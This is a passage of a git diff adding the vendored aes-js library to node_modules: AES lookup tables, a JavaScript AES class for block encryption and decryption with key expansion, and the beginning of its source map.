0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0]; +// Transformations for decryption key expansion +const U1 = [0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3]; +const U2 = [0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697]; +const U3 = [0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46]; +const U4 = [0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d]; +function convertToInt32(bytes) { + const result = []; + for (let i = 0; i < bytes.length; i += 4) { + result.push((bytes[i] << 24) | (bytes[i + 1] << 16) | (bytes[i + 2] << 8) | bytes[i + 3]); + } + return result; +} +export class AES { + get key() { return __classPrivateFieldGet(this, _AES_key, "f").slice(); } + constructor(key) { + _AES_key.set(this, void 0); + _AES_Kd.set(this, void 0); + _AES_Ke.set(this, void 0); + if (!(this instanceof AES)) { + throw Error('AES must be instanitated with `new`'); + } + __classPrivateFieldSet(this, _AES_key, new Uint8Array(key), "f"); + const rounds = numberOfRounds[this.key.length]; + if (rounds == null) { + throw new TypeError('invalid key size (must be 16, 24 or 32 bytes)'); + } + // encryption round keys + __classPrivateFieldSet(this, _AES_Ke, [], "f"); + // decryption round keys + __classPrivateFieldSet(this, _AES_Kd, [], "f"); + for (let i = 0; i <= rounds; i++) { + __classPrivateFieldGet(this, _AES_Ke, "f").push([0, 0, 0, 0]); + __classPrivateFieldGet(this, _AES_Kd, "f").push([0, 0, 0, 0]); + } + const roundKeyCount = (rounds + 1) * 4; + const KC = this.key.length / 4; + // convert the key into ints + const tk = convertToInt32(this.key); + // copy values into round key arrays + let index; + for (let i = 0; i < KC; i++) { + index = i >> 2; + __classPrivateFieldGet(this, _AES_Ke, "f")[index][i % 4] = tk[i]; + __classPrivateFieldGet(this, _AES_Kd, "f")[rounds - index][i % 4] = tk[i]; + } + // key expansion (fips-197 section 5.2) + let rconpointer = 0; + let t = KC, tt; + while (t < roundKeyCount) { + tt = tk[KC - 1]; + tk[0] ^= ((S[(tt >> 16) & 0xFF] << 24) ^ + (S[(tt >> 8) & 0xFF] << 16) ^ + (S[tt & 0xFF] << 8) ^ + S[(tt >> 24) & 0xFF] ^ + (rcon[rconpointer] << 24)); + rconpointer += 1; + // key expansion (for non-256 bit) + if (KC != 8) { + for (let i = 1; i < KC; i++) { + tk[i] ^= tk[i - 1]; + } + // key expansion for 256-bit keys is "slightly different" (fips-197) + } + else { + for (let i = 1; i < (KC / 2); i++) { + tk[i] ^= tk[i - 1]; + } + tt = tk[(KC / 2) - 1]; + tk[KC / 2] ^= (S[tt & 0xFF] ^ + (S[(tt >> 8) & 0xFF] << 8) ^ + (S[(tt >> 16) & 0xFF] << 16) ^ + (S[(tt >> 24) & 0xFF] << 24)); + for (let i = (KC / 2) + 1; i < KC; i++) { + tk[i] ^= tk[i - 1]; + } + } + // copy values into round key arrays + let i = 0, r, c; + while (i < KC && t < roundKeyCount) { + r = t >> 2; + c = t % 4; + __classPrivateFieldGet(this, _AES_Ke, "f")[r][c] = tk[i]; + __classPrivateFieldGet(this, _AES_Kd, "f")[rounds - r][c] = tk[i++]; + t++; + } + } + // inverse-cipher-ify the decryption round key (fips-197 section 5.3) + for (let r = 1; r < rounds; r++) { + for (let c = 0; c < 4; c++) { + tt = __classPrivateFieldGet(this, _AES_Kd, "f")[r][c]; + __classPrivateFieldGet(this, _AES_Kd, "f")[r][c] = (U1[(tt >> 24) & 0xFF] ^ + U2[(tt >> 16) & 0xFF] ^ + U3[(tt >> 8) & 0xFF] ^ + U4[tt & 0xFF]); + } + } + } + encrypt(plaintext) { + if (plaintext.length != 16) { + throw new TypeError('invalid plaintext size (must be 16 bytes)'); + } + const rounds = __classPrivateFieldGet(this, _AES_Ke, "f").length - 1; + const a = [0, 0, 0, 0]; + // convert plaintext to (ints ^ key) + let t = convertToInt32(plaintext); + for (let i = 0; i < 4; i++) { + t[i] ^= __classPrivateFieldGet(this, _AES_Ke, "f")[0][i]; + } + // apply round transforms + for (let r = 1; r < rounds; r++) { + for (let i = 0; i < 4; i++) { + a[i] = (T1[(t[i] >> 24) & 0xff] ^ + T2[(t[(i + 1) % 4] >> 16) & 0xff] ^ + T3[(t[(i + 2) % 4] >> 8) & 0xff] ^ + T4[t[(i + 3) % 4] & 0xff] ^ + __classPrivateFieldGet(this, _AES_Ke, "f")[r][i]); + } + t = a.slice(); + } + // the last round is special + const result = new Uint8Array(16); + let tt = 0; + for (let i = 0; i < 4; i++) { + tt = __classPrivateFieldGet(this, _AES_Ke, "f")[rounds][i]; + result[4 * i] = (S[(t[i] >> 24) & 0xff] ^ (tt >> 24)) & 0xff; + result[4 * i + 1] = (S[(t[(i + 1) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff; + result[4 * i + 2] = (S[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff; + result[4 * i + 3] = (S[t[(i + 3) % 4] & 0xff] ^ tt) & 0xff; + } + return result; + } + decrypt(ciphertext) { + if (ciphertext.length != 16) { + throw new TypeError('invalid ciphertext size (must be 16 bytes)'); + } + const rounds = __classPrivateFieldGet(this, _AES_Kd, "f").length - 1; + const a = [0, 0, 0, 0]; + // convert plaintext to (ints ^ key) + let t = convertToInt32(ciphertext); + for (let i = 0; i < 4; i++) { + t[i] ^= __classPrivateFieldGet(this, _AES_Kd, "f")[0][i]; + } + // apply round transforms + for (let r = 1; r < rounds; r++) { + for (let i = 0; i < 4; i++) { + a[i] = (T5[(t[i] >> 24) & 0xff] ^ + T6[(t[(i + 3) % 4] >> 16) & 0xff] ^ + T7[(t[(i + 2) % 4] >> 8) & 0xff] ^ + T8[t[(i + 1) % 4] & 0xff] ^ + __classPrivateFieldGet(this, _AES_Kd, "f")[r][i]); + } + t = a.slice(); + } + // the last round is special + const result = new Uint8Array(16); + let tt = 0; + for (let i = 0; i < 4; i++) { + tt = __classPrivateFieldGet(this, _AES_Kd, "f")[rounds][i]; + result[4 * i] = (Si[(t[i] >> 24) & 0xff] ^ (tt >> 24)) & 0xff; + result[4 * i + 1] = (Si[(t[(i + 3) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff; + result[4 * i + 2] = (Si[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff; + result[4 * i + 3] = (Si[t[(i + 1) % 4] & 0xff] ^ tt) & 0xff; + } + return result; + } +} +_AES_key = new WeakMap(), _AES_Kd = new WeakMap(), _AES_Ke = new WeakMap(); +//# sourceMappingURL=aes.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/aes.js.map b/node_modules/aes-js/lib.esm/aes.js.map new file mode 100644 index 000000000000..78e92a61305d --- /dev/null +++ b/node_modules/aes-js/lib.esm/aes.js.map @@ -0,0 +1 @@ +{"version":3,"file":"aes.js","sourceRoot":"","sources":["../src.ts/aes.ts"],"names":[],"mappings":"AAAA,uFAAuF;;;;;;;;;;;;;AAEvF,8BAA8B;AAC9B,MAAM,cAAc,GAA2B,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,CAAC;AAE1E,uBAAuB;AACvB,MAAM,IAAI,GAAG,CAAC,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC;AAElM,kDAAkD;AAClD,MAAM,CAAC,GAAG,CAAC,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE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E,IAAI,EAAE,CAAC,CAAC,GAAG,IAAI,CAAC;YAC5E,MAAM,CAAC,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,IAAK,CAAC,CAAC,GAAG,IAAI,CAAC,GAAG,CAAC,EAAE,IAAK,CAAC,CAAC,CAAC,GAAG,IAAI,CAAC;YAC5E,MAAM,CAAC,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,EAAE,CAAE,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,GAAU,IAAI,CAAC,GAAI,EAAE,CA